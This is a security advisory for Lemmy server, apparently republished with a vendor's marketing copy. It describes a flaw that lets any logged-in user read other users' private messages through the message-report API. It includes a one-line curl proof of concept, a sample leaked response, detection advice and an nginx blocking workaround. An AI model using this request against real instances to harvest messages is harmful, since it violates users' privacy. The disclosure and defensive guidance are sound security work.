GHSA-r64r-5h43-26qv
HIGHAny authenticated user may obtain private message details from other users on the same instance
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
lemmy_serverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Users can report private messages, even when they're neither sender nor recipient of the message. The API response to creating a private message report contains the private message itself, which means any user can just iterate over message ids to (loudly) obtain all private messages of an instance. A user with instance admin privileges can also abuse this if the private message is removed from the response, as they're able to see the resulting reports.
Details
Creating a private message report by POSTing to /api/v3/private_message/report does not validate whether the reporter is the recipient of the message.
At least lemmy-ui does not allow the sender to report the message; the API method should likely be restricted to accessible to recipients only.
The API response when creating a report contains the private_message_report_view with all the details of the report, including the private message that has been reported:
In the report below, the creator with id 3 is different from the private message creator (id 2) and private message recipient (id 6).
{
"private_message_report_view": {
"private_message_report": {
"id": 14,
"creator_id": 3,
"private_message_id": 7,
"original_pm_text": "testfoo",
"reason": "reporting id 7",
"resolved": false,
"published": "2023-12-15T19:23:03.441967Z"
},
"private_message": {
"id": 7,
"creator_id": 2,
"recipient_id": 6,
"content": "testfoo",
"deleted": false,
"read": false,
"published": "2023-12-15T19:21:41.920872Z",
"ap_id": "https://1b1w56.lem.rocks/private_message/7",
"local": true
},
"private_message_creator": {
"id": 2,
"name": "admin",
"banned": false,
"published": "2023-12-14T23:45:05.055427Z",
"actor_id": "https://1b1w56.lem.rocks/u/admin",
"local": true,
"deleted": false,
"bot_account": false,
"instance_id": 1
},
"creator": {
"id": 3,
"name": "testuser1",
"banned": false,
"published": "2023-12-14T23:47:57.571772Z",
"actor_id": "https://1b1w56.lem.rocks/u/testuser1",
"local": true,
"deleted": false,
"bot_account": false,
"instance_id": 1
}
}
}
</details>
If these details were not available in the response, but reports could still be created by any user, or at least by any admin, this would allow an instance admin to create reports and obtain the message contents from the report system.
This was originally discovered from incorrect reports on a 0.18.5 instance and has been replicated in a 0.19.0 test environment.
PoC
curl -v 'https://myinstance.tld/api/v3/private_message/report' -X POST -H 'Content-Type: application/json' -H 'authorization: Bearer ...' --data-raw '{"private_message_id":1,"reason":"i like reports"}'
Impact
Any authenticated user can obtain arbitrary (untargeted) private message contents. Privileges required depend on the instance configuration; when registratons are enabled without application system, the privileges required are practically none. When registration applications are required, privileges required could be considered low, but this assessment heavily varies by instance.
Detection
Any private message reports where the report creator is not equal to the private message recipient may be an attempt to exploit this. As this was originally discovered from an incorrect report, likely related to a bug in a client app, it should be noted that not all mismatching reports should be considered malicious; though a frequent occurrence of them likely indicates an exploitation attempt.
Workaround when updating is not immediately possible
If an update to a fixed Lemmy version is not immediately possible, the API route can be blocked in the reverse proxy. This will prevent anyone from reporting private messages, but it will also prevent exploitation before the update has been applied.
nginx example:
location = /api/v3/private_message/report {
default_type application/json;
return 403 '{"error":"couldnt_create_report"}';
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | lemmy_server | ≥ 0.17.0&&< 0.19.1 | 0.19.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lemmy_server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update lemmy_server to 0.19.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r64r-5h43-26qv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-r64r-5h43-26qv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-r64r-5h43-26qv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-r64r-5h43-26qv in your dependencies?
O3 detects GHSA-r64r-5h43-26qv across crates.io dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.